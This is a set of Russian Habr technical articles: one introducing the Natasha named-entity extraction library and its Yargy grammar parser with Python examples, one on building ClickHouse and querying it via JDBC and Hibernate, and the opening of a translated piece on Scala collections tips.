> В 2020 году библиотека Natasha значительно обновилась, на Хабре опубликована [статья про актуальную версию](https://habr.com/ru/post/516098/). Чтобы использовать инструменты, описанные в этом тексте, установите старую версию библиотеки `pip install natasha<1 yargy<0.13`.
>
>
>
> Раздел про Yargy-парсер актуален и сейчас.
>
>
Есть стандартная задача извлечения именованных сущностей из текста ([NER](https://en.wikipedia.org/wiki/Named-entity_recognition)). На входе текст, на выходе структурированные, нормализованные объекты, например, с именами, адресами, датами:
Задача старая и хорошо изученная, для английского языка существует масса коммерческих и открытых решений: [Spacy](https://spacy.io/), [Stanford NER](https://nlp.stanford.edu/software/CRF-NER.shtml), [OpenNLP](https://opennlp.apache.org/), [NLTK](http://www.nltk.org/), [MITIE](https://github.com/mit-nlp/MITIE), [Google Natural Language API](https://cloud.google.com/natural-language/), [ParallelDots](https://www.paralleldots.com/named-entity-recognition), [Aylien](https://aylien.com/text-api/), [Rosette](https://www.basistech.com/text-analytics/rosette/entity-extractor/), [TextRazor](https://www.textrazor.com/). Для русского тоже есть хорошие решения, но они в основном закрытые: [DaData](https://dadata.ru/), [Pullenti](http://pullenti.ru/?AspxAutoDetectCookieSupport=1), [Abbyy Infoextractor](https://www.abbyy.com/ru-ru/infoextractor/), [Dictum](http://dictum.ru/ru/named-entities-extraction/blog), [Eureka](http://eurekaengine.ru/), [Promt](http://www.promt.ru/press/news/57586/), [RCO](http://www.rco.ru/?page_id=3554), [AOT](http://www.aot.ru/), [Ahunter](http://www.ixlab.ru/site/onwork). Из открытого мне известен только [Томита-парсер](https://tech.yandex.ru/tomita/) и свежий [Deepmipt NER](https://github.com/deepmipt/ner).
Я занимаюсь анализом данных, задача обработки текстов одна из самых частых. На практике оказывается, что, например, извлечь имена из русского текста совсем непросто. Есть [готовое решение в Томита-парсере](https://github.com/yandex/tomita-parser/blob/master/examples/algfio/people.cxx), но там неудобная интеграция с Python. Недавно появилось [решение от ребят из iPavlov](https://github.com/deepmipt/ner), но там имена не приводятся к нормальной форме. Для извлечения, например, адресов («ул. 8 Марта, д.4», «Ленинский проезд, 15») открытых решений мне не известно, есть [pypostal](https://github.com/openvenues/pypostal), но он чтобы парсить адреса, а не искать их в тексте. C нестандартными задачами типа извлечения ссылок на нормативные акты («ст. 11 ГК РФ», «п. 1 ст. 6 Закона № 122-ФЗ») вообще непонятно, что делать.
Год назад [Дима Веселов](https://github.com/dveselov) начал проект [Natasha](https://github.com/natasha). С тех пор код был значительно доработан. Natasha была использована в нескольких крупных проектах. Сейчас мы готовы рассказать о ней пользователям Хабра.
> Natasha — это аналог Томита-парсера для Python ([Yargy-парсер](https://github.com/natasha/yargy)) плюс набор готовых правил для извлечения имён, адресов, дат, сумм денег и других сущностей.
В статье показано, как использовать готовые правила из Natasha и, самое главное, как добавлять свои с помощью Yargy-парсера.
Готовые правила
---------------
Сейчас в Natasha есть правила для извлечения имён, адресов, дат и сумм денег. Есть ещё правила для названий организаций и географических объектов, но у них не очень высокое качество.
### Имена
Воспользоваться готовыми правилами просто:
```
from natasha import NamesExtractor
from natasha.markup import show_markup, show_json
extractor = NamesExtractor()
text = '''
Благодарственное письмо Хочу поблагодарить учителей моего, теперь уже бывшего, одиннадцатиклассника: Бушуева Вячеслава Владимировича и Бушуеву Веру Константиновну. Они вовлекали сына в интересные внеурочные занятия, связанные с театром и походами.
Благодарю прекрасного учителя 1"А" класса - Волкову Наталью Николаевну, нашего наставника, тьютора - Ларису Ивановну, за огромнейший труд, чуткое отношение к детям, взаимопонимание! Огромное спасибо!
'''
matches = extractor(text)
spans = [_.span for _ in matches]
facts = [_.fact.as_json for _ in matches]
show_markup(text, spans)
show_json(facts)
>>> Благодарственное письмо Хочу поблагодарить учителей моего, теперь уже бывшего, одиннадцатиклассника: [[Бушуева Вячеслава Владимировича]] и [[Бушуеву Веру Константиновну]]. Они вовлекали сына в интересные внеурочные занятия, связанные с театром и походами.
Благодарю прекрасного учителя 1"А" класса - [[Волкову Наталью Николаевну]], нашего наставника, тьютора - [[Ларису Ивановну]], за огромнейший труд, чуткое отношение к детям, взаимопонимание! Огромное спасибо!
[
{
"first": "вячеслав",
"middle": "владимирович",
"last": "бушуев"
},
{
"first": "вера",
"middle": "константиновна",
"last": "бушуева"
},
{
"first": "наталья",
"middle": "николаевна",
"last": "волкова"
},
{
"first": "лариса",
"middle": "ивановна"
}
]
```
В 2016 году проходило соревнование [factRuEval-2016](https://github.com/dialogue-evaluation/factRuEval-2016) по извлечению именованных сущностей. Среди участников были крупные компании: ABBYY, RCO. У топовых решений F1-мера для имён была 0.9+. У Natasha [результат хуже — 0.78](https://github.com/natasha/natasha-factRuEval-2016/blob/master/notes.ipynb). Проблема в основном c иностранными именами и сложными фамилиями, например: «Харуки Мураками», "… главой Афганистана Хамидом Карзаем", «Остап Бендер встречается с Кисой Воробьяниновым ...». Для текстов с русскими именами [качество получается ~0.95](https://github.com/natasha/natasha-examples/blob/master/02_sad/notes.ipynb). Можно, например, извлекать имена учителей с сайтов школ, агрегировать отзывы:
### Адреса
Интерфейс такой же как для имён, только `NamesExtractor` меняется на `AddressExtractor`:
```
from natasha import AddressExtractor
from natasha.markup import show_markup, show_json
extractor = AddressExtractor()
text = '''
Предлагаю вернуть прежние границы природного парка №71 на Инженерной улице 2.
По адресу Алтуфьевское шоссе д.51 (основной вид разрешенного использования: производственная деятельность, склады) размещен МПЗ. Жители требуют незамедлительной остановки МПЗ и его вывода из района
Контакты О нас телефон 7 881 574-10-02 Адрес Республика Карелия,г.Петрозаводск,ул.Маршала Мерецкова, д.8 Б,офис 4
'''
matches = extractor(text)
spans = [_.span for _ in matches]
facts = [_.fact.as_json for _ in matches]
show_markup(text, spans)
show_json(facts)
>>> Предлагаю вернуть прежние границы природного парка №71 на [[Инженерной улице 2]].
По адресу [[Алтуфьевское шоссе д.51]] (основной вид разрешенного использования: производственная деятельность, склады) размещен МПЗ. Жители требуют незамедлительной остановки МПЗ и его вывода из района
Контакты О нас телефон 7 881 574-10-02 Адрес [[Республика Карелия,г.Петрозаводск,ул.Маршала Мерецкова, д.8 Б,офис 4]]
[
{
"parts": [
{
"name": "Инженерной",
"type": "улица"
},
{
"number": "2"
}
]
},
{
"parts": [
{
"name": "Алтуфьевское",
"type": "шоссе"
},
{
"number": "51",
"type": "дом"
}
]
},
{
"parts": [
{
"name": "Карелия",
"type": "республика"
},
{
"name": "Петрозаводск",
"type": "город"
},
{
"name": "Маршала Мерецкова",
"type": "улица"
},
{
"number": "8 Б",
"type": "дом"
},
{
"number": "4",
"type": "офис"
}
]
}
]
```
В factRuEval-2016 участникам предлагалось извлекать имена, названия организаций и географические объекты. Независимых тестовых данных для оценки качества работы с адресами, на сколько я знаю, не существует. За несколько лет работы у нас накопились сотни тысяч строк вида «Адрес: 443041 г. Самара ул. Ленинская, д.168», «Адрес г. Иркутск, ул. Байкальская, д. 133, офис 1 (вход со двора).». Для оценки качества сделана случайная выборка из 1000 адресов, результаты проверены вручную, [~90% строк обработались корректно](https://github.com/natasha/natasha-examples/blob/master/04_address/notes.ipynb). Проблемы возникают, в основном, с названиями улиц, например: «г. Волжск, 2-ая промышленная, стр. 2», «111674, г. Москва, Дмитриевского, д. 17».
В 2017 году параллельно с историей про реконструкцию в Москве обсуждались новые Правила землепользования и застройки (ПЗЗ). Был проведён опрос населения. Более 100 000 комментариев были выложены в открытый доступ в виде огромного pdf-файла. [Никита Кузнецов с помощью Natasha извлёк упомянутые адреса](http://telegra.ph/PZZ---analitika-proshedshih-slushanij-05-01) и посмотрел в каких районах закон поддерживают, а в каких нет:
Визуально оценить качество работы `AddressExtractor` на датасете с комментариями к ПЗЗ можно в [репозитории с примерами](https://github.com/natasha/natasha-examples/blob/master/03_pzz/notes.ipynb).
### Другие правила
Ещё в Natasha есть правила для дат и денег. Интерфейс такой же как у `AddressExtractor` и `NamesExtractor`.
```
from natasha import (
NamesExtractor,
AddressExtractor,
DatesExtractor,
MoneyExtractor
)
from natasha.markup import show_markup, show_json
extractors = [
NamesExtractor(),
AddressExtractor(),
DatesExtractor(),
MoneyExtractor()
]
text = '''
Взыскать к индивидуального предпринимателя Иванова Костантипа Петровича дата рождения 10 января 1970 года, проживающего по адресу город Санкт-Петербург, ул. Крузенштерна, дом 5/1А 8 000 (восемь тысяч) рублей 00 копеей госпошлины в пользу бюджета РФ
'''
spans = []
facts = []
for extractor in extractors:
matches = extractor(text)
spans.extend(_.span for _ in matches)
facts.extend(_.fact.as_json for _ in matches)
show_markup(text, spans)
show_json(facts)
>>> Взыскать к индивидуального предпренимателя [[Иванова Костантипа Петровича]] дата рождения [[10 января 1970 года]], проживающего по адресу [[город Санкт-Петербург, ул. Крузенштерна, дом 5/1А]][[Крузенштерна]], дом 5/1А [[8 000 (восемь тысяч) рублей 00]] копеей госпошлины в пользу бюджета РФ
[
{
"first": "костантип",
"middle": "петрович",
"last": "иванов"
},
{
"last": "крузенштерн"
},
{
"parts": [
{
"name": "Санкт-Петербург",
"type": "город"
},
{
"name": "Крузенштерна",
"type": "улица"
},
{
"number": "5/1А",
"type": "дом"
}
]
},
{
"year": 1970,
"month": 1,
"day": 10
},
{
"integer": 8000,
"currency": "RUB",
"coins": 0
}
]
```
Интерфейс Natasha очень простой: `e = Extractor(); r = e(text); ...`. Пользователю недоступны никакие настройки. На практике обойтись только готовыми правилами получается редко. Например, Natasha не разберёт дату "«21» апреля 2017", потому что в правилах не предусмотрен номер дня в кавычках. Библиотека не разберёт адрес «Люберецкий район, деревня Мотяково, д. 61/2», потому что в нём нет названия улицы.
Часто приходится опускаться на уровень ниже, дополнять готовые правила и писать свои. Для этого использует Yargy-парсер. Все правила в Natasha написаны на нём. Yargy — сложная и интересная библиотека, в этой статье мы рассмотрим только простые примеры использования.
Yargy-парсер
------------
Yargy-парсер — аналог яндексового [Томита-парсера](https://tech.yandex.ru/tomita/) для Python. Правила для извлечения сущностей описываются с помощью [контекстно-свободных грамматик](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%BD%D0%BE-%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F_%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0) и словарей.
### Грамматики
Грамматики в Yargy записываются на специальном [DSL-е](https://en.wikipedia.org/wiki/Domain-specific_language). Так, например, будет выглядеть простое правило для извлечения дат в ISO-формате («2018-02-23», «2015-12-31»):
```
from yargy import rule, and_, Parser
from yargy.predicates import gte, lte
DAY = and_(
gte(1),
lte(31)
)
MONTH = and_(
gte(1),
lte(12)
)
YEAR = and_(
gte(1),
lte(2018)
)
DATE = rule(
YEAR,
'-',
MONTH,
'-',
DAY
)
parser = Parser(DATE)
text = '''
2018-02-23,
2015-12-31;
8 916 364-12-01'''
for match in parser.findall(text):
print(match.span, [_.value for _ in match.tokens])
>>> [1, 11) ['2018', '-', '02', '-', '23']
>>> [13, 23) ['2015', '-', '12', '-', '31']
>>> [33, 42) ['364', '-', '12', '-', '01']
```
Пока не очень впечатляет, похожую функциональность можно получить регуляркой `r'\d\d\d\d-\d\d-\d\d'`, правда она будет метчить ерунду типа «1234-56-78».
### Предикаты
`gte` и `lte` в примере выше — предикаты. В парсер встроено [много готовых предикатов](https://nbviewer.jupyter.org/github/natasha/yargy/blob/master/docs/ref.ipynb#%D0%9F%D1%80%D0%B5%D0%B4%D0%B8%D0%BA%D0%B0%D1%82%D1%8B), [есть возможность добавить свои](https://nbviewer.jupyter.org/github/natasha/yargy/blob/master/docs/ref.ipynb#predicates.custom). Для определения морфологии слов используется [pymorphy2](http://pymorphy2.readthedocs.io). Например, предикат, `gram('NOUN')` срабатывает на существительных, `normalized('январь')` метчит все формы слова «январь». Добавим правила для дат вида «8 января 2014», «15 июня 2001 г.»:
```
from yargy import or_
from yargy.predicates import caseless, normalized, dictionary
MONTHS = {
'январь',
'февраль',
'март',
'апрель',
'мая',
'июнь',
'июль',
'август',
'сентябрь',
'октябрь',
'ноябрь',
'декабрь'
}
MONTH_NAME = dictionary(MONTHS)
YEAR_WORDS = or_(
rule(caseless('г'), '.'),
rule(normalized('год'))
)
DATE = or_(
rule(
YEAR,
'-',
MONTH,
'-',
DAY
),
rule(
DAY,
MONTH_NAME,
YEAR,
YEAR_WORDS.optional()
)
)
parser = Parser(DATE)
text = '''
8 января 2014 года, 15 июня 2001 г.,
31 февраля 2018'''
for match in parser.findall(text):
print(match.span, [_.value for _ in match.tokens])
>>> [21, 36) ['15', 'июня', '2001', 'г', '.']
>>> [1, 19) ['8', 'января', '2014', 'года']
>>> [38, 53) ['31', 'февраля', '2018']
```
### Интерпретация
Найти подстроку с фактом обычно недостаточно. Например, для текста «8 мая по поручению президента Владимира Путина» парсер должен вернуть не просто «8 мая», «Владимира Путина», а `Date(month=5, day=8)`, `Name(first='Владимир', last='Путин')`, для этого в Yargy предусмотрена процедура интерпретации. Результат работы парсера — это дерево разбора:
```
match = parser.match('05 февраля 2011 года')
match.tree.as_dot
```
(R0, R1 — технические вершины, «R» сокращение от «Rule»)
Для интерпретации пользователь «развешивает» на узлы дерева пометки с помощью метода `.interpretation(...)`:
```
from yargy.interpretation import fact
Date = fact(
'Date',
['year', 'month', 'day']
)
DAY = and_(
gte(1),
lte(31)
).interpretation(
Date.day
)
MONTH = and_(
gte(1),
lte(12)
).interpretation(
Date.month
)
YEAR = and_(
gte(1),
lte(2018)
).interpretation(
Date.year
)
MONTH_NAME = dictionary(
MONTHS
).interpretation(
Date.month
)
DATE = or_(
rule(YEAR, '-', MONTH, '-', DAY),
rule(
DAY,
MONTH_NAME,
YEAR,
YEAR_WORDS.optional()
)
).interpretation(Date)
match = parser.match('05 февраля 2011 года')
match.tree.as_dot
```
```
parser = Parser(DATE)
text = '''8 января 2014 года, 2018-12-01'''
for match in parser.findall(text):
print(match.fact)
>>> Date(year='2018', month='12', day='01')
>>> Date(year='2014', month='января', day='8')
```
### Нормализация
В примере с датами нужно привести названия месяцев, дни и годы к числам, для этого в Yargy встроена процедура нормализации. Внутри `.interpretation(...)` пользователь указывает, как нормировать поля:
```
from datetime import date
Date = fact(
'Date',
['year', 'month', 'day']
)
class Date(Date):
@property
def as_datetime(self):
return date(self.year, self.month, self.day)
MONTHS = {
'январь': 1,
'февраль': 2,
'март': 3,
'апрель': 4,
'мая': 5,
'июнь': 6,
'июль': 7,
'август': 8,
'сентябрь': 9,
'октябрь': 10,
'ноябрь': 11,
'декабрь': 12
}
DAY = and_(
gte(1),
lte(31)
).interpretation(
Date.day.custom(int)
)
MONTH = and_(
gte(1),
lte(12)
).interpretation(
Date.month.custom(int)
)
YEAR = and_(
gte(1),
lte(2018)
).interpretation(
Date.year.custom(int)
)
MONTH_NAME = dictionary(
MONTHS
).interpretation(
Date.month.normalized().custom(MONTHS.__getitem__)
)
DATE = or_(
rule(YEAR, '-', MONTH, '-', DAY),
rule(
DAY,
MONTH_NAME,
YEAR,
YEAR_WORDS.optional()
)
).interpretation(Date)
parser = Parser(DATE)
text = '''8 января 2014 года, 2018-12-01'''
for match in parser.findall(text):
record = match.fact
print(record, repr(record.as_datetime))
>>> Date(year=2018, month=12, day=1) datetime.date(2018, 12, 1)
>>> Date(year=2014, month=1, day=8) datetime.date(2014, 1, 8)
match = parser.match('31 февраля 2014 г.')
match.fact.as_datetime
>>> ValueError: day is out of range for month
```
Ура, мы повторили маленький кусочек функциональности библиотеки [dateparser](https://github.com/scrapinghub/dateparser). Если нужно извлечь из текста, например, только даты, то стоит выбрать готовую специализированную библиотеку. Решение будет работать быстрее, качество будет выше. Yargy нужен для объёмных, нестандартных задач.
### Согласование
Рассмотрим простое правило для извлечения имён. В словаре [Opencorpora](http://opencorpora.org/), который использует pymorphy2, для имён ставится метка [`Name`](http://opencorpora.org/dict.php?act=edit&id=210873), для фамилий — метка [`Surn`](http://opencorpora.org/dict.php?act=edit&id=390709). Будем считать именем пару слов `Name Surn` или `Surn Name`:
```
from yargy.predicates import gram
Name = fact(
'Name',
['first', 'last']
)
FIRST = gram('Name').interpretation(
Name.first.inflected()
)
LAST = gram('Surn').interpretation(
Name.last.inflected()
)
NAME = or_(
rule(
FIRST,
LAST
),
rule(
LAST,
FIRST
)
).interpretation(
Name
)
```
У такого решения есть две проблемы:
1. Правило метчит имя и фамилию в разных падежах («Иванова Лёша», «Петрову Ромой»)
2. Женские фамилии после нормализации становятся мужскими
```
parser = Parser(NAME)
text = '''
... с улицы Грибоедова Антон свернул на ...
... Бушуева Вячеслава и Бушуеву Веру ...
'''
for match in parser.findall(text):
print(match.fact)
>>> Name(first='антон', last='грибоедов')
>>> Name(first='вячеслав', last='бушуев')
>>> Name(first='вера', last='бушуев')
```
Чтобы решить эти проблемы в Yargy есть механизм согласования. С помощью метода `.match(...)` пользователь указывает ограничения на правила:
```
from yargy.relations import gnc_relation
gnc = gnc_relation() # согласование по gender, number и case (падежу, числу и роду)
Name = fact(
'Name',
['first', 'last']
)
FIRST = gram('Name').interpretation(
Name.first.inflected()
).match(gnc)
LAST = gram('Surn').interpretation(
Name.last.inflected()
).match(gnc)
NAME = or_(
rule(
FIRST,
LAST
),
rule(
LAST,
FIRST
)
).interpretation(
Name
)
parser = Parser(NAME)
text = '''
... с улицы Грибоедова Антон свернул на ...
... Бушуева Вячеслава и Бушуеву Веру ...
'''
for match in parser.findall(text):
print(match.fact)
>>> Name(first='вячеслав', last='бушуев')
>>> Name(first='вера', last='бушуева')
```
Достоинства и недостатки
------------------------
Natasha предоставляет под лицензией MIT решения, которых раньше не было в открытом доступе (или я о них не знаю). Например, раньше нельзя было просто взять и извлечь структурированные имена и адреса из русскоязычного текста, а теперь можно. Раньше для Python не было чего-то вроде Томита-парсера, теперь есть.
Постараюсь коротко сформулировать недостатки:
1. Вручную составленные правила.
Natasha разбирает только те словосочетания, для которых заранее были составлены правила. Может показаться, что нереально написать правила, например, для имён в произвольном тексте, слишком они разные. На практике всё не так плохо:
1. Если посидеть недельку, то всё-таки для 80% имён составить правила можно.
2. Обычно нужно работать не с произвольными текстами, а с текстами на [контролируемом естественном языке](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%B8%D1%80%D1%83%D0%B5%D0%BC%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA): резюме, решения судов, нормативные акты, раздел сайта с контактами.
3. В правилах для Yargy-парсера можно использовать разметку, полученную методами машинного обучения.
2. Медленная скорость работы.
Начнём с того, что Yargy реализует алгоритм [Earley parser](https://en.wikipedia.org/wiki/Earley_parser), его сложность `O(n3)`, где `n` — число токенов. Код написан на чистом Python, с упором на читаемость, а не оптимизацию. Короче говоря, библиотека работает медленно. Например, на задаче извлечения имён Natasha в 10 раз медленнее Томита-парсера. На практике с этим можно жить:
1. Хорошо помогает PyPy. Случается ускорение в 10 раз, в среднем в ~3-4 раза.
2. Выполнение в несколько потоков, на нескольких машинах. Задача хорошо параллелится, машины в аренду сейчас легко доступны.
3. Ошибки в стандартных правилах.
Например, качество извлечения имён у Natasha очень далеко от [SOTA](https://en.wikipedia.org/wiki/State_of_the_art). На практике из коробки библиотека не всегда показывает хорошее качество, нужно дорабатывать правила под себя.
Мы надеемся, что сообщество поможет улучшить точность и полноту правил. Пишите [багрепорты](https://github.com/natasha/natasha/issues), присылайте [пуллреквесты](https://github.com/natasha/natasha/pulls).
Ссылки
------
Адрес проекта на Гитхабе простой — [github.com/natasha](https://github.com/natasha/).
Установка — `pip install natasha`. Библиотека тестируется на Python 2.7, 3.3, 3.4, 3.5, 3.6, PyPy и РyPy3.
Документация для пакета стандартных правил короткая, интерфейс очень простой — [nbviewer.jupyter.org/github/natasha/natasha/blob/master/docs.ipynb](http://nbviewer.jupyter.org/github/natasha/natasha/blob/master/docs.ipynb). Документация для Yargy более объёмная и сложная — [nbviewer.jupyter.org/github/natasha/yargy/blob/master/docs/index.ipynb](https://nbviewer.jupyter.org/github/natasha/yargy/blob/master/docs/index.ipynb). Yargy интересный и непростой инструмент, возможно, существующей документации будет недостаточно. Есть желание опубликовать на Хабре серию уроков по Yargy. Вы можете написать в комментариях, какие темы стоит осветить, например:
1. Скорость выполнения, обработка больших объёмов текстов;
2. Ручные правила и машинное обучение, гибридные решения;
3. Примеры применения библиотеки в разных областях: разбор резюме, парсинг названий товаров, чат-боты.
Чат пользователей Natasha — [t.me/natural\_language\_processing](https://t.me/natural_language_processing). Там можно попробовать задать вопросы по библиотеке.
Стенд для демонстрации стандартных правил — [natasha.github.io](http://natasha.github.io/). Можно ввести свой текст, посмотреть, как на нём отрабатывают стандартные правила:
 | https://habr.com/ru/post/349864/ | null | ru | null |
# Доступ к ClickHouse с помощью JDBC
Привет Хабр! Не так давно я имел удовольствие посетить встречу [PyData Moscow](https://events.yandex.ru/events/ds/23-jun-2017/) на площадке Яндекса. Я не могу назвать себя python разрабочиком, но имею интересы в области аналитики и анализа данных. Посетив данное мероприятие, я узнал о существовании СУБД ClickHouse, разработанной в Яндексе и выложенной на [GitHub](https://github.com/yandex/ClickHouse) под открытой лицензией. Колоночная SQL СУБД с отечественными корнями пробудила во мне интерес. В этой статье я поделюсь опытом установки и настройки ClickHouse, а также попыткой доступа к ней из Spring приложения с помощью Hibernate.
Сборка и установка
------------------
Знакомство с СУБД я начал со страницы [документации](https://clickhouse.yandex/docs/ru/introduction/index.html).
Весьма удивили рекомендации по использованию оперативной памяти. Разработки советуют использовать столько же памяти, сколько у вас данных (во всяком случае пока объем данных меньше 200 Гб). Не совсем ясно, идет ли речь о суммарной памяти всех машин в кластере или о памяти каждой машины. В любом случае, я смог довольствоваться лишь 8 гб памяти своей виртуальной машины. При этом размер тестового набора данных составлял больше 60 ГБ в несжатом виде.
Первая сложность, с которой мне пришлось стокнуться, – это рекомнедация использовать Ubuntu и остуствие rpm пакетов (UPD: позже я обнаружил вот этот [репозиторий](https://github.com/redsoftbiz/clickhouse-rpm)). Я предпочитаю rpm системы и принял решения собрать СУБД из исходных кодов под Centos 7.
Ребята из Яндекса приготовили нам [инструкции](https://github.com/yandex/ClickHouse/blob/stable/doc/build.md) для сборки. Здесь есть несколько любопытных моментов:
* Нам понадобиться gcc аж 6 версии, когда в centos из коробки идет только 4.8. Любопытно, с чем связано это ограничение? Я не тратил время на изучение кода clickHouse, возможно используется новый стандарт C++, который не поддерживается в 4ой версии. Так или иначе, GCC 6 пришлось тоже собирать из исходных кодов. В инструкции по сборке clickhouse описан процесс сборки gcc, однако он опять-таки применим прежде всего к Ubuntu. Помогла следующая [статья](https://aferdyp.github.io/clickhouse/2017/02/23/building-clickHouse.html). Сборка компилятора заняла у меня 1.5 часа.
* Второй интересной особенностью сборки оказалось зависимость clickhouse от libmysqlclient. Интересно, как и зачем в clikchouse используется функции клиента MySQL?
Сборка самой СУБД заняла порядка 40 минут. Настройка clickhouse в моем случае заключалась в правке конфигурационного `/usr/local/etc/clickhouse-server/config.xml`, так как я решил хранить базу данных на отдельном разделе. Запусить сервер я смог с помощью `sudo /usr/local/bin/clickhouse-server --config /usr/local/etc/clickhouse-server/config.xml`
Проверить работу СУБД я решил на пример из [этого](https://habrahabr.ru/company/yandex/blog/303282/) поста, загрузив данные об авиаперелётах в США с 1987 по 2015 год. Процесс загрузки и примеры запросов приведены выше. Загрузка у меня заняла 24 минуты, размер базы данных на диске составил 14 Гб при объеме загруженных данных в 61.6 Гб.
Время выполнения тестовых запросов из статьи выше на моей машине составило:
| Запрос | Время, с |
| --- | --- |
| какие направления были самыми популярными в 2015 году | 2.067 |
| из каких городов отправляется больше рейсов | 3.744 |
| из каких городов можно улететь по максимальному количеству направлений | 7.012 |
| как зависит задержка вылета рейсов от дня недели | 3.195 |
| из каких городов, самолёты чаще задерживаются с вылетом более чем на час | 3.392 |
| какие наиболее длинные рейсы | 12.466 |
| распределение времени задержки прилёта, по авиакомпаниям | 4.596 |
| какие авиакомпании прекратили перелёты | 1.653 |
| в какие города стали больше летать в 2015 году | 0.380 |
| перелёты в какие города больше зависят от сезонности | 8.806 |
Еще раз отмечу, что объем памяти моей машины составлял всего 8 ГБ, что почти в 8 раз меньше, чем рекомендуется разработчиками. В связи с этим цифры выше – не более чем очень грубая прикидка того, как clickhouse будет себя вести на ноутбуке разработчика, нежели в production. В целом СУБД работала стабильно и, на мой взгляд, достаточно быстро. В анализируемой таблице было 166 миллионов записей.
Дружим ClickHouse и Java
------------------------
Следующий шаг в моем изучении clickhouse – попытка доступа к нему из Java. Ребята из Яндекса выложили jdbc [драйвер](https://github.com/yandex/clickhouse-jdbc).
Подключить его к maven проекту очень просто:
```
ru.yandex.clickhouse
clickhouse-jdbc
${clickhouse-jdbc-version}
```
При использовании есть всего несколько моментов, которые по незнанию могут вызвать сложности. Прежде всего, clikchouse поддерживает несколько протоколов. По-умолчанию родной бинарный протокол использует порт 9000, а http протокол – 8123. JDBC драйвер умеет работать только с http, поэтому указываем порт 8123. Название БД по-умолчиню – default. Имя пользователя и пароль по-умлочанию задавать не нужно. Чтобы clickhouse разрешал подключения с удаленных машин, в конфигурационном файле следует добавить строку `::`.
Далее все как в обычном JDBC:
```
private static final String DB_URL = "jdbc:clickhouse://localhost:8123/default";
private final Connection conn;
/**
* Creates new instance
* @throws SQLException in case of connection issue
*/
public ClickHouseJDBCDemo() throws SQLException {
conn = DriverManager.getConnection(DB_URL);
}
/**
* Queries db to get most popular flight route for ths given year
* @param year year to query
* @throws SQLException in case of query issue
*/
public void popularYearRoutes(int year) throws SQLException {
String query = "SELECT " +
" OriginCityName, " +
" DestCityName, " +
" count(*) AS flights, " +
" bar(flights, 0, 20000, 40) AS bar " +
"FROM ontime WHERE Year = ? GROUP BY OriginCityName, DestCityName ORDER BY flights DESC LIMIT 20";
long time = System.currentTimeMillis();
try (PreparedStatement statement = conn.prepareStatement(query)) {
statement.setInt(1, year);
try (ResultSet rs = statement.executeQuery()) {
Util.printRs(rs);
}
}
System.out.println("Time: " + (System.currentTimeMillis() - time) +" ms");
}
```
Как видим, ничего необычного. Полный код примера доступен [здесь](https://github.com/kgrech/clickhouse-java/blob/master/src/main/java/ru/kgrech/clickhousespring/demo/ClickHouseJDBCDemo.java).
А что с Hibernate?
------------------
Следующим моим шагом стала попытка подключить ORM. Наивно полагая, что раз есть JDBC, то будет и ORM, я потянулся к Spring Data JPA. Но, к сожалению, я столкнулся здесь с рядом проблем. Прежде всего, при подключении к БД необходимо указать SQL Dialect. Реализованного диалекта для ClickHouse мне найти не удалось.
В результате я просто создал потомок стандартного `org.hibernate.dialect.Dialect`:
```
public class ClickHouseDialect extends Dialect {
}
```
Теперь подключится к базе данных становится возможным. Проблема начинается при выполнении запросов. Дело в том, что clickhouse [не поддерживает](https://clickhouse.yandex/docs/ru/query_language/queries.html#select) alias для имен таблиц. Другими словами, запрос вида:
```
SELECT alias.column from tablename alias
```
для clickHouse не является допустимым.
Проблема в том, что судя по всем hibernate не позволяет отключить генерацию alias для таблиц путем определения SQL Dialect. Во всяком случае мне не удалось найти, как этого добиться.
Немного покопавшись в коде hibernate я начал приходить к выводу, что эта функциональность зашита довольно [глубоко](https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/java/org/hibernate/persister/entity/AbstractEntityPersister.java#L1563) в его ядре. Впрочем, мой опыт использования hibernate не так уж велик. Буду рад, если кто-либо поделиться известным способом обойти подобное ограничение.
Итог
----
Исследовать clickhouse было увлекательным занятием. СУБД показала себя с хорошей стороны. Удалось собрать ее из исходных кодов, выполнить запросы с помощью консольного клиента и jdbc. К сожалению, неполная поддержка конструкций ANSI SQL не позволила легко подключить Hibernate. Впрочем, следует учитывать и назначение СУБД. Главная ниша clickhouse — сложные аналитические запросы, большинство из которых все равно придется полностью или частично писать руками. Хотя иметь возможность простого просмотра и выборки данных «из коробки» при помощи ORM было бы не лишним.
Полагаю, будет крайне интересно наблюдать за развитием проекта, особенно учитывая растущее внимание к clikchouse в сообществе последнее время и активную поддержку проекта со стороны Яндекса. | https://habr.com/ru/post/332112/ | null | ru | null |
# Scala коллекции: секреты и трюки
Представляю вашему вниманию перевод статьи [Павла Фатина](https://pavelfatin.com/about) [Scala Collections Tips and Tricks](https://pavelfatin.com/scala-collections-tips-and-tricks/). Павел работает в [JetBrains](https://www.jetbrains.com/) и занимается разработкой [Scala плагина](https://confluence.jetbrains.com/display/SCA/Scala+Plugin+for+IntelliJ+IDEA) для IntelliJ IDEA. Далее, повествование идет от лица автора.
В этой статье вы найдете упрощения и оптимизации, характерные для повседневного использования [API Scala коллекций](https://www.scala-lang.org/docu/files/collections-api/collections.html).
Некоторые советы основаны на тонкостях реализации библиотеки коллекций, однако большинство рецептов — это разумные преобразования, которые на практике часто упускаются из виду.
Этот список вдохновлен моими попытками разработать практичные [инспекции для Scala коллекций](https://youtrack.jetbrains.com/oauth?state=%2Fissues%2FSCL%3Fq%3Dby%253A%2BPavel.Fatin%2Bcollection%2Border%2Bby%253A%2Bcreated), для [Scala плагина IntelliJ](https://confluence.jetbrains.com/display/SCA/Scala+Plugin+for+IntelliJ+IDEA). Сейчас мы внедряем эти инспекции, так что, используя Scala плагин в IDEA, вы автоматически выигрываете от статического анализа кода.
Тем не менее, эти рецепты ценны сами по себе. Они могут помочь вам углубить понимание стандартной библиотеки коллекций Scala и сделать ваш код быстрее и выразительнее.
**Обновление:**
Если вы испытываете тягу к приключениям,
